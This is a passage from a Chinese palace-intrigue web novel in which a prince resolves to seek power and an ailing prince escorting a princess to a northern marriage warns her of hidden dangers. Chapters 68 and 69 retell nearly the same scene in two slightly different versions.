“所以,”他的声音恢复了平稳,“儿臣现在要做的,是‘等’,是‘护’,是‘连’。等她活下来,护她周全,连成一线。并在朝中,不动声色地积蓄力量。”
祥嫔终于露出了一丝极淡的欣慰。“不错。把你的遗憾,你的不甘,你心里那点‘热气’,好好收着。它们不是无用之物。但在你能真正掌控炉火之前,不要让这火苗过早暴露。”
她站起身,走到裴诚面前,替他理了理衣襟,动作轻柔,眼神却坚如磐石。
“走到能燃起炉火的位置上去,诚儿。到那时,你才有资格决定,这宫里……是该继续这么冷下去,还是能有一点你想要的‘暖和’。”
裴诚闭上眼,将心中翻腾的波澜强行压下。
母亲的每句话都像冰冷的针,刺破他最后一点天真的幻想。
乐阑珊不再只是乐阑珊,她是“钥匙”,是“筹码”,是他通往权力之路必须握住的“势”。而他心中那点被她点燃的、珍贵的“热气”,也必须被谨慎地封存起来,作为燃料,而不是作为软肋。
这让他喉头发苦。他忽然想起乐阑珊离去时那片孤绝的背影——她若知道,她视为知己的他,此刻也在算计如何利用她的苦难为自己铺路,那双清亮的眼睛里,会不会最后一点光也熄灭?
“母妃,”他的声音有些发涩,“儿臣若依此道而行,即便来日真能燃起炉火……那火边坐着的人,可还会是今日的裴诚?可还能坦然面对那枚‘钥匙’?”
祥嫔静默了更长的时间。殿内只有灯芯燃烧的细微声响。当她再开口时,声音里有一种近乎残忍的慈悲:
“诚儿,你记住——坐在炉火边的是谁,从来不由火焰决定,而由生火的人决定。但若你永远走不到能生火的位置,你连问这个问题的资格,都不会有。”
这句话像最后一块冰,投入裴诚沸腾的心海,瞬间冻结了所有不甘的涟漪。
他懂
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了。
不是懂了权谋,而是懂了代价。
他缓缓睁开眼。那双总是含着几分戏谑笑意的桃花眼里,所有温度褪尽,只剩下深潭般的平静与一种近乎冷酷的清明。
“儿臣明白了。”
他躬身行礼,退出的步伐稳定而无声。所有的挣扎、遗憾、软弱,都被他亲手埋葬在了方才那片寂静里。从今往后,他是瑞王裴诚,也只能是瑞王裴诚。
宫道漆黑漫长,寒风如刀。他独立阶前,最后望向北方——那片吞噬了所有光与暖的黑暗深渊。
袖中,那枚白日里从城墙缝中拾起的、属于凤辇上遗落的细小珠花,被他指尖用力碾过。冰凉坚硬的触感直抵心尖,带来一阵尖锐的痛楚。
然后,他松开手,任那点微不足道的华彩坠入无边夜色,消失不见。
炭火?不。
他在心底对自己说,声音冰冷如铁,再不起波澜。
我要走的,是一条把自己先锻成铁,再把世间所有不公与寒冷,都投入其中焚尽的路。
阑珊,你若能活着走到我燃起炉火的那天……
你会看见,那火光映出的,早已不是当初望着你时会笑的裴诚。
但至少,那火……会是暖的。
他转身,步入更深的黑暗。马车驶向宫门,驶向茫茫夜色,也驶向一场早已注定的、将自己的一切都献祭给权力的征途。
静怡轩内,祥嫔重新拿起绣绷,在寒梅旁,绣上了一只振翅欲飞的雀鸟。
雀鸟眼珠用黑丝线绣得极亮,仿佛正盯着远方风雪中前行的车队。
宫门外,夜风骤紧。
一名黑衣内侍悄然入了邓府,将一封未署名的密信,轻轻放在书房案上。
信中只有一句话——
“北凉已换主帅,拓跋不在王庭。”
邓尚书眼神一顿,烛火猛地摇曳。
他缓缓抬眼,望向北方风雪翻涌的方向,唇角第一次,露出一丝近乎锋利的笑意。
——这局棋,终于要动了。
第68章 无论前路如何,务必活着
北行的第十二日,车队已深入北境。
天气一日冷过一日。
铅灰色的天空仿佛永远也透不出光,寒风卷着细碎的雪粒,刀子般刮过人的脸颊。
官道早已被积雪覆盖,车轮碾过时发出沉闷而吃力的声响,不时陷入被冻硬的坑洼,需要侍卫下马推搡才能继续前行。
乐阑珊所乘的凤辇虽铺着厚厚的毡毯,燃着暖炉,但寒意仍无孔不入。她裹着裴曦所赠的那件锦缎棉氅,指尖却依旧冰凉。
更让她心神不宁的,是随行队伍中,那辆属于送亲正使宁王裴曦的马车里,传出的咳嗽声一日比一日频繁,一声比一声艰涩。
起初只是白日赶路时偶尔的闷咳,后来发展成夜里也难以止息的绵长喘息。那声音仿佛从肺腑深处被撕扯出来,带着一种令人心悸的沙哑和无力感,在寂静的寒夜里传得格外清晰。
这夜,队伍在一处背风的山坳驿站停下。北风在屋外呼啸,如同鬼哭。
乐阑珊实在无法安坐,命侍女煨了一盅药性温和的参汤,亲自端去了裴曦所居的西厢房。
房门虚掩,浓重的药味扑面而来。裴曦披着厚重的狐裘,靠在临窗的榻上,就着一盏油灯看书。他脸色在昏黄灯下苍白得近乎透明,眼下是浓重的青影,唯有那双眼睛,依旧清澈温和。
“殿下。”乐阑珊将汤盅放在小几上,“风雪酷寒,您该好生将息,这些书卷……”
“不看些东西,脑子里便容易胡思乱想。”
裴曦放下书卷,对她微微一笑,那笑容却因消瘦而显得格外脆弱,“倒是劳烦公主挂心了。”
“殿下此番远行,本就是为我受累。”
乐阑珊在他对面坐下,看着烛火在他清癯的脸上跳动,“王爷的身体,随行的太医怎么说?”
裴曦掩唇低咳了两声,才缓缓道:“**病了,胎里带来的弱症,遇上北地苦寒,难免反复。太医开的方子无非是那些温补驱寒的药,吃与不吃,区别不大。”他顿了顿,望向窗外漆黑的风雪,“倒是公主,前路漫漫,更需珍重。”
乐阑珊沉默片刻,忽然问道:“殿下,您可知陛下为何一定要您来送这一程?”
这话问得直接,甚至有些僭越。但一路行来,两人之间已生出一种超越身份、近乎知己的默契与信任。
裴曦没有立刻回答。他静静地看着跳动的烛火,良久,才轻声道:“因为父皇需要一个人,既够分量,又足够‘安全’,来走这一趟。”
“安全?”
“对皇家而言的安全。”裴曦的语气平淡,像是在说一件与己无关的事,“太子被废,我便居长,却是个药罐子,注定与那个位置无缘。由我来送,既显郑重,又不会引起其他兄弟过度的猜忌和动作。毕竟,一个连活着都需尽力的人,谁会真的将他视为威胁呢?”
他的声音里没有怨怼,只有一种透彻的凉意。乐阑珊听得心头一紧。
“更何况,”裴曦转过头,看向她,目光深邃,“父皇也想看看,在这远离京城的路上,在他视线不及之处,会不会有些不该有的心思和手脚,提前暴露出来。”
乐阑珊背脊微微发凉:“殿下是指……”
“公主是聪明人。”裴曦缓缓道,“和亲之举,朝中反对者众,心怀叵测者亦不少。你活着抵达北凉,符合一些人的利益;你死在路上,或许更符合另一些人的盘算。这送亲之路,看似平静,实则……步步杀机。”
他话音刚落,又是一阵剧烈的咳嗽袭来,这次比之前更甚,他整个身子都弓了起来,苍白的手紧紧抓着胸前的衣襟,指节泛白。乐阑珊慌忙起身,为他拍背顺气,触手之处,那单薄的肩背瘦得惊人,却在寒疾发作时绷紧如铁。
好一阵,咳嗽才渐渐平息。裴曦喘息着,额上已沁出细密的冷汗,他接过乐阑珊递来的帕子,掩住唇,雪白的绢帕边缘,瞬间洇开一点刺目的暗红。
乐阑珊瞳孔骤缩。
裴曦却仿
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佛没看见,将帕子收起,气息微弱地道:“让公主见笑了。”
“殿下!”乐阑珊声音发紧,“您这样……太医到底怎么说?若是实在不行,我们是否可暂缓行程,或者……”
“不能停。”
裴曦打断她,声音虽弱,却斩钉截铁,“一旦停下,变数更多。我们必须按既定行程,尽快抵达北凉王庭。只有到了那里,在拓跋眼皮底下,那些暗处的刀子,才会有所顾忌。”
他抬眼看着乐阑珊,眼中是她从未见过的凝重与担忧:“公主,我的身体我自己清楚,不过是多受些罪罢了。我真正担心的,是你。北凉王庭不是善地,拓跋此人更非易与之辈。你此去,不仅要做‘明怡公主’,更要在虎狼环伺中,找到自己的生路。这比我这一身病骨,要艰难百倍。”
乐阑珊鼻尖一酸,强压下翻涌的情绪,低声道:“殿下不必过于忧心。阑珊既选了这条路,便已做好准备。倒是殿下,万望以自身为念,若……若实在支撑不住,请一定告诉阑珊。无论如何,阑珊不能因一己之故,连累殿下至此。”
裴曦看着她眼中真挚的忧虑,那仿佛万年冰雪覆盖的湖面终于裂开一道缝隙,透出底下真实的暖流与坚毅。他心中微微一动,竟泛起一丝罕见的柔软。
“好。”他轻声应道,“我会尽力。公主也需答应我,无论前路如何,务必……活着。”
两人目光在昏暗的灯下交汇,无声地许下了一个沉重的承诺。
子夜时分,风雪似乎小了些,但寒意更甚。驿站内外一片死寂,只有守夜侍卫巡逻时踩在积雪上发出的“咯吱”声,以及远处山林间偶尔传来的、不知是风嚎还是狼啸的诡异声响。
乐阑珊躺在榻上,毫无睡意。裴曦那句“步步杀机”和咳血的模样,反复在她脑中浮现。她袖中的手紧握着那枚长命锁,冰凉的触感让她保持清醒。
忽然,外间传来一声极轻微的、不同于风雪的异响。
第69章 该来的,终于来了
北行第十二日,车队已深入北境腹地。
天色一日比一日低沉。铅灰色的云层仿佛被冻在天穹之上,既不散,也不落雪,只沉甸甸地压着人心。寒风卷着细碎的冰粒横扫官道,刮在裸露的皮肤上,如同细刀反复割过,带着钝痛。
官道早已失了原本的形状,被反复冻融的积雪覆盖,轮辙模糊。凤辇行进得极慢,每前进一步,都伴随着车轮陷入冻土时沉闷而吃力的声响,仿佛不是在走路,而是在一寸寸从泥沼中拔身。
侍卫们不得不频频下马推车。粗重的喘息在寒风中化作白雾,又很快被撕碎。
这是一条不会欢迎任何人的路。
凤辇内铺着厚厚的毡毯,暖炉不敢断火,却依旧挡不住寒意渗入骨缝。乐阑珊裹着裴曦临行前亲手交给她的锦缎棉氅,指尖仍旧冰凉。
比寒冷更令人不安的,是随行队伍中那辆属于送亲正使宁王裴曦的马车。
起初,只是白日行路时偶尔传出的闷咳。后来,咳嗽开始变得频繁,夜深人静时,那一声声压抑而绵长的喘息,像是从肺腑深处被生生扯出,在风雪中显得格外清晰。
那不是普通的病咳,更像是一口气接不上来的挣扎。
这一夜,队伍在一处背风的山坳驿站歇脚。
风声在屋外呼啸,如同无数厉鬼贴着墙根低吟。驿站简陋而破败,窗纸被风吹得猎猎作响,随时可能破裂。
乐阑珊终究没能安坐。
她命侍女煨了一盅药性温和的参汤,披上斗篷,亲自去了西厢。
房门虚掩,一股浓重而刺鼻的药味扑面而来。那味道沉沉地压在空气里,令人不自觉地屏住呼吸。
裴曦披着厚重的狐裘,靠在临窗的软榻上。窗外风雪翻涌,昏黄油灯映着他的侧影,瘦削而安静。他的脸色在灯下白得近乎透明,眼下青影浓重,唯有那双眼睛,依旧温和清亮。
他正在看书,手指却有些不稳。
“殿下。”乐阑珊将汤盅放在小几上,声音放得极轻,“夜寒风烈,您该歇一歇。”
“不看点东西,脑子里容易乱。”
裴曦合上书,对她微微一笑。那笑容一如既往温和,却因消瘦而显得脆弱,“劳公主挂心。”
“殿下此行,本就为我受累。”
乐阑珊在他对面坐下,目光落在他紧扣书脊的指节上,“太医怎么说?”
裴曦低咳了两声,用帕子掩住唇,才缓声道:“**病了。胎里带来的弱症,遇北地严寒,难免反复。药方无非温补驱寒,吃与不吃……差别不大。”
他说得云淡风轻,仿佛在谈旁人的病。
乐阑珊心头却是一紧。
“殿下可知,陛下为何一定要您来送这一程?”
话问出口,她自己都意识到这是越矩的。但这一路同行,风雪与生死早已磨去了那些刻意维持的距离。
裴曦没有立刻回答。
他望着灯焰跳动,良久,才轻声道:“因为父皇需要一个既够分量,又足够‘安全’的人。”
“安全?”
“对皇家而言的安全。”
他的语气平静得近乎冷漠,“太子被废,我便居长,却是个药罐子,注定与那个位置无缘。由我来送,既显郑重,又不会引起兄弟间过多猜忌。毕竟,一个连活着都要尽力的人,谁会真的将他视为威胁?”
这句话轻得像叹息,却在乐阑珊心口重重落下。
“更何况,”裴曦转头看她,目光沉静,“父皇也想看看,在他视线不及之处,会不会有人按捺不住,提前露出爪牙。”
乐阑珊背脊微寒。
“殿下是说……这一路,并不太平?”
“和亲,触动太多人的利益。”
裴曦缓缓道,“你活着抵达北凉,对一些人有利;你死在路上,对另一些人而言,更省心。这条路,看似平静,实则——步步杀机。”
话音未落,他忽然剧烈地咳了起来。
这一次,比之前任何一次都重。
他整个人弓起身子,像是被什么从胸腔里狠狠攥住。乐阑珊立刻起身替他顺背,触手之处,那单薄的肩背绷得极紧,瘦得几乎硌手。
咳嗽声在狭小的房间里回荡,压抑而断续。
好一阵,才勉
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强平息。
裴曦接过帕子掩唇。雪白的绢帕边缘,很快洇开一抹暗红。
乐阑珊瞳孔骤缩。
裴曦却仿佛毫无所觉,将帕子折起收好,声音微弱却平稳:“让公主见笑了。”
“殿下……”
她的声音有些发紧,“太医可曾提过,是否需要暂缓行程?”
“不能停。”
裴曦抬眼,语气不容置喙,“一旦停下,变数只会更多。我们必须尽快抵达北凉王庭。只有到了拓跋眼皮底下,那些藏在暗处的刀,才会有所顾忌。”
他看着她,目光里第一次带上了近乎直白的担忧:“公主,我的身体我自己清楚,不过多受些罪。我真正担心的,是你。”
“北凉王庭非善地,拓跋更非善类。你此去,不只是和亲,更是在虎狼之中求生。”
乐阑珊静静听着,胸腔里翻涌的情绪被她一点点压下。
“阑珊既选了这条路,便已做好准备。”
她低声道,“倒是殿下,若真支撑不住,请务必告诉我。阑珊不能因一己之故,连累殿下至此。”
裴曦看着她,那双向来平静的眼底,终于浮起一丝难以言明的柔软。
“好。”
他轻声应道,“那你也答应我一件事。”
“无论发生什么,都要活着。”
灯影摇晃,两人的目光在昏暗中短暂相接。没有誓言,却重如誓言。
子夜将至。
风雪似乎稍歇,寒意却更甚。驿站内外一片死寂,只剩守夜侍卫巡逻时踩在积雪上的“咯吱”声。
乐阑珊躺在榻上,毫无睡意。
裴曦咳血的画面反复浮现,那句“步步杀机”像一根冷刺,扎在心头。
她的手指无意识地摩挲着袖中的长命锁。冰冷的触感让她保持清醒。
忽然,她睁开眼。
外间传来一声极轻的声响。
不是风声,也不是雪落。
那声音短促、克制,像是有人刻意压低了脚步,又不慎碰到了什么金属之物。
乐阑珊的心,骤然沉了下去,心里暗暗道:“该来的,终于来了。”